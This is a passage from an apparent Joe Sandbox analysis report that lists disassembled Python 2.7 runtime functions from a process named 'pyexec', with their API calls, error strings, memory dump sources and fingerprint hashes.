                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Arg_DecodeParseSizeStatefulTuple_Unicode
                                                                                                                                                                    • String ID: s*|zi:utf_32_decode
                                                                                                                                                                    • API String ID: 227215544-943812581
                                                                                                                                                                    • Opcode ID: 9f8956cfdfd79f26ea25439f6dc81908553516ff81d38b53d57acf1351fc2072
                                                                                                                                                                    • Instruction ID: c7b8c745a954852f8ae30fc7c85459db44681350fccb0a2a0ee57085daae1060
                                                                                                                                                                    • Opcode Fuzzy Hash: 9f8956cfdfd79f26ea25439f6dc81908553516ff81d38b53d57acf1351fc2072
                                                                                                                                                                    • Instruction Fuzzy Hash: 951152B2D00108AFDB04CFD9C985DEEB7F9EF48248B1485ADE516E7241E630AE058B61
                                                                                                                                                                    Function 670086F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromString.PYTHON27(heap argument must be a list), ref: 67008712
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(672448B0,00000000,heap argument must be a list), ref: 6700871B
                                                                                                                                                                    Strings
                                                                                                                                                                    • heap argument must be a list, xrefs: 6700870D
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_FromObjectStringString_
                                                                                                                                                                    • String ID: heap argument must be a list
                                                                                                                                                                    • API String ID: 1840871587-325666163
                                                                                                                                                                    • Opcode ID: 5909eb2784b4facfe521f1b8f4d834b36b76d4e364cd7d270ed5a6928c36d851
                                                                                                                                                                    • Instruction ID: 625b4e3890728476e57c9340f5754dd79d06c5362f2756fc4aa11c4af7d5e4b7
                                                                                                                                                                    • Opcode Fuzzy Hash: 5909eb2784b4facfe521f1b8f4d834b36b76d4e364cd7d270ed5a6928c36d851
                                                                                                                                                                    • Instruction Fuzzy Hash: B601D472A019104B9620C93C980866BB3E9FF9E234B150766EC3CD76D4D731EC5696E2
                                                                                                                                                                    Function 67125560 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Python\getargs.c,000005D9,?,?), ref: 671255D3
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Python\getargs.c, xrefs: 671255C8
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 671255CD
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Python\getargs.c
                                                                                                                                                                    • API String ID: 376477240-2001156345
                                                                                                                                                                    • Opcode ID: 134ba54ffc33b643039455c5a55f71e00163e459070750910d6fa671f828c419
                                                                                                                                                                    • Instruction ID: 20b1c1e0c2cdfc83f8823c50ef8b98eeded3e23a1c11d8ae18a0e4da8f157bf6
                                                                                                                                                                    • Opcode Fuzzy Hash: 134ba54ffc33b643039455c5a55f71e00163e459070750910d6fa671f828c419
                                                                                                                                                                    • Instruction Fuzzy Hash: E80196767012045BD711DE149885FAB7369ABA8614F40868BFC345B248E730D5D19AD1
                                                                                                                                                                    Function 671136E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyNumber_AsSsize_t.PYTHON27(?,00000000), ref: 6711372A
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,slice indices must be integers or None or have an __index__ method,?,670CC3E4,?,?), ref: 6711375A
                                                                                                                                                                    Strings
                                                                                                                                                                    • slice indices must be integers or None or have an __index__ method, xrefs: 67113754
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Number_Ssize_tString
                                                                                                                                                                    • String ID: slice indices must be integers or None or have an __index__ method
                                                                                                                                                                    • API String ID: 1917868172-4115508390
                                                                                                                                                                    • Opcode ID: 4205a87d782b78bbf451ac0c9bc5332708d3d92bbd0005ee7e7778e049346cc9
                                                                                                                                                                    • Instruction ID: 5167ba2573cea0a0f1f763a11ba73b54512a054fbbe69d82d28058e57ce1b55c
                                                                                                                                                                    • Opcode Fuzzy Hash: 4205a87d782b78bbf451ac0c9bc5332708d3d92bbd0005ee7e7778e049346cc9
                                                                                                                                                                    • Instruction Fuzzy Hash: 4D0184B42042049FEB02CE74D484B5573A5AB6E714F20817AE82C8F785D736F886CB51
                                                                                                                                                                    Function 67114590 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672463F8,string is too large,6700157A,?,67114656), ref: 671145B5
                                                                                                                                                                    • PyString_FromStringAndSize.PYTHON27(00000000,6700157B,6700157A,?,67114656), ref: 671145C5
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String$Err_FromSizeString_
                                                                                                                                                                    • String ID: string is too large
                                                                                                                                                                    • API String ID: 2119762567-3191399733
                                                                                                                                                                    • Opcode ID: 23760864713dc0cd3976bb0df894cf26f430d41433ae1916bdfed6e72480496e
                                                                                                                                                                    • Instruction ID: 4817611aa936abe8b8cc8c74c8cc81a12944a43b84f4809d5c2d0f0d0a2e0f55
                                                                                                                                                                    • Opcode Fuzzy Hash: 23760864713dc0cd3976bb0df894cf26f430d41433ae1916bdfed6e72480496e
                                                                                                                                                                    • Instruction Fuzzy Hash: DEF02D37D0C1614AC7538939B4B87D12B795B6F65DF0503B7DC988F296E911C40D85A2
                                                                                                                                                                    Function 6708F750 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672465C8,null argument to internal routine), ref: 6708F770
                                                                                                                                                                    • PyObject_Call.PYTHON27(00000000,00000000,00000000,?,00000000,?,6708B1D5), ref: 6708F796
                                                                                                                                                                      • Part of subcall function 6708F070: _Py_CheckRecursiveCall.PYTHON27( while calling a Python object,00000001,?,?,67112AB3,00000000,?,67060E50), ref: 6708F0A5
                                                                                                                                                                      • Part of subcall function 6708F070: PyErr_SetString.PYTHON27(672465C8,NULL result without error in PyObject_Call,?,00000000,00000000), ref: 6708F0E4
                                                                                                                                                                    Strings
                                                                                                                                                                    • null argument to internal routine, xrefs: 6708F76A
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CallErr_String$CheckObject_Recursive
                                                                                                                                                                    • String ID: null argument to internal routine
                                                                                                                                                                    • API String ID: 2045816541-2212441169
                                                                                                                                                                    • Opcode ID: 0f326e899ef7562d1b9ecf2289f3a116147db614497c8c6ec68e0ee32e9ed9d5
                                                                                                                                                                    • Instruction ID: eb247b3722670b76a7cc9f27386e3f0b79ed3b0ea73be170c44a2bae454754d7
                                                                                                                                                                    • Opcode Fuzzy Hash: 0f326e899ef7562d1b9ecf2289f3a116147db614497c8c6ec68e0ee32e9ed9d5
                                                                                                                                                                    • Instruction Fuzzy Hash: 1FF0C276600114ABDB10EA64EC45F9633ED9B89375F204235FA1C8B250D735F945CFE5
                                                                                                                                                                    Function 6709EE50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromString.PYTHON27(Invalid call to PyCObject_SetVoidPtr), ref: 6709EE8A
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(672448B0,00000000,Invalid call to PyCObject_SetVoidPtr), ref: 6709EE93
                                                                                                                                                                    Strings
                                                                                                                                                                    • Invalid call to PyCObject_SetVoidPtr, xrefs: 6709EE85
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_FromObjectStringString_
                                                                                                                                                                    • String ID: Invalid call to PyCObject_SetVoidPtr
                                                                                                                                                                    • API String ID: 1840871587-391560720
                                                                                                                                                                    • Opcode ID: 9ee37f5e295589cf648dcedbcbad484486f99851876560ed66df03eef108864b
                                                                                                                                                                    • Instruction ID: 722cf145b873decd33126bbb0d9b9725b54af0c0f926ecc97fce33916432d4f8
                                                                                                                                                                    • Opcode Fuzzy Hash: 9ee37f5e295589cf648dcedbcbad484486f99851876560ed66df03eef108864b
                                                                                                                                                                    • Instruction Fuzzy Hash: E0F0F4339011049FC320CA59E804B9A73E8FB49238F0447B6EC288B280DB31EC42C7E2
                                                                                                                                                                    Function 67018E40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyObject_Malloc.PYTHON27(00000016), ref: 67018E5B
                                                                                                                                                                    • PyString_InternInPlace.PYTHON27(00000001), ref: 67018EA8
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: InternMallocObject_PlaceString_
                                                                                                                                                                    • String ID: h#g
                                                                                                                                                                    • API String ID: 1224585087-436849807
                                                                                                                                                                    • Opcode ID: eece23cc6c7e657e8b463b5241f7784a20291ad4d1a0768f6e5791d31463ccde
                                                                                                                                                                    • Instruction ID: aef5e2b2daa57c146fec6996b10f941d701d32230e79eba924d36a1eded444aa
                                                                                                                                                                    • Opcode Fuzzy Hash: eece23cc6c7e657e8b463b5241f7784a20291ad4d1a0768f6e5791d31463ccde
                                                                                                                                                                    • Instruction Fuzzy Hash: A801F7B18053648FD7008F98D504B967FE49F1A76CF058599DE948F392E37AD600CBE1
                                                                                                                                                                    Function 6708EE00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyObject_GetAttrString.PYTHON27(?,__getitem__), ref: 6708EE1A
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 6708EE3E
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: AttrClearErr_Object_String
                                                                                                                                                                    • String ID: __getitem__
                                                                                                                                                                    • API String ID: 2543148516-3646536032
                                                                                                                                                                    • Opcode ID: bb57a7aa092255778c56a16e94575db4d7e17a0d8b1fecbafcdc83fdddb76030
                                                                                                                                                                    • Instruction ID: 7878323761486dc32f52e5be50953281d81f78ebc1cfc56019087ea6c474905b
                                                                                                                                                                    • Opcode Fuzzy Hash: bb57a7aa092255778c56a16e94575db4d7e17a0d8b1fecbafcdc83fdddb76030
                                                                                                                                                                    • Instruction Fuzzy Hash: B2F062706012045FEF05CAA0D980B6633D49B6871CF05466AD82D8BAA1D735E842C661
                                                                                                                                                                    Function 670107C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromString.PYTHON27(memory was exhausted while profiling), ref: 670107E5
                                                                                                                                                                    • PyErr_SetObject.PYTHON27(672467A8,00000000,memory was exhausted while profiling), ref: 670107EE
                                                                                                                                                                    Strings
                                                                                                                                                                    • memory was exhausted while profiling, xrefs: 670107E0
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_FromObjectStringString_
                                                                                                                                                                    • String ID: memory was exhausted while profiling
                                                                                                                                                                    • API String ID: 1840871587-1801820754
                                                                                                                                                                    • Opcode ID: bb2d058aa5d8dc0b7d50df4dfd9a0f2a6f7808ccf8533132e65ead83284e31b7
                                                                                                                                                                    • Instruction ID: c71e6a04020d17b52f9d4bfbc211a517d1379b7a62cca5f9f504081725925ff3
                                                                                                                                                                    • Opcode Fuzzy Hash: bb2d058aa5d8dc0b7d50df4dfd9a0f2a6f7808ccf8533132e65ead83284e31b7
                                                                                                                                                                    • Instruction Fuzzy Hash: 6BF0B4739199145B83108D6DEC0AAA73798CB5A234B140369EDB8873D4E721D81387E2
                                                                                                                                                                    Function 6708DF00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyObject_GetAttrString.PYTHON27(?,__getitem__), ref: 6708DF1A
                                                                                                                                                                    • PyErr_Clear.PYTHON27 ref: 6708DF3E
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: AttrClearErr_Object_String
                                                                                                                                                                    • String ID: __getitem__
                                                                                                                                                                    • API String ID: 2543148516-3646536032
                                                                                                                                                                    • Opcode ID: 206227f116999e60735c39a38257d2978ec3835f8a65d28a2cedc9c97971425a
                                                                                                                                                                    • Instruction ID: e267b6cf8c423695b42f3ccd9869e8eda236b79e97dd8dd5496d050e1a429547
                                                                                                                                                                    • Opcode Fuzzy Hash: 206227f116999e60735c39a38257d2978ec3835f8a65d28a2cedc9c97971425a
                                                                                                                                                                    • Instruction Fuzzy Hash: FFF0BB706152044FEF44C760E940F2633F45F4C328F21435AE42CCB646D729D851EA61
                                                                                                                                                                    Function 6700B520 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyObject_GetAttrString.PYTHON27(00000000,join), ref: 6700B543
                                                                                                                                                                    • PyObject_CallFunctionObjArgs.PYTHON27(?,?,00000000), ref: 6700B571
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Object_$ArgsAttrCallFunctionString
                                                                                                                                                                    • String ID: join
                                                                                                                                                                    • API String ID: 167733998-677501143
                                                                                                                                                                    • Opcode ID: f6d5d6e7630fd47c5856a7ac75c4c1f98bb3ae26f71db1a3ab3855e478ca5ea3
                                                                                                                                                                    • Instruction ID: 15a916de57b8f68c38b38b73fb574d25ab967d16d7718ee5f4a142e9a7b7c9ff
                                                                                                                                                                    • Opcode Fuzzy Hash: f6d5d6e7630fd47c5856a7ac75c4c1f98bb3ae26f71db1a3ab3855e478ca5ea3
                                                                                                                                                                    • Instruction Fuzzy Hash: 28F0B4B29402129BE714DA68EC51B9A33E89B49766B004260FA1897240F725ED048BF6
                                                                                                                                                                    Function 6708CD80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyNumber_AsSsize_t.PYTHON27(?,672463F8), ref: 6708CDA6
                                                                                                                                                                      • Part of subcall function 6708D720: PyNumber_Index.PYTHON27(?,?,?,?,6708B2E8,6708EF3A,67245B38), ref: 6708D729
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,can't multiply sequence by non-int of type '%.200s',?,?,6708CE69,?,?), ref: 6708CDDC
                                                                                                                                                                    Strings
                                                                                                                                                                    • can't multiply sequence by non-int of type '%.200s', xrefs: 6708CDD6
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Number_$Err_FormatIndexSsize_t
                                                                                                                                                                    • String ID: can't multiply sequence by non-int of type '%.200s'
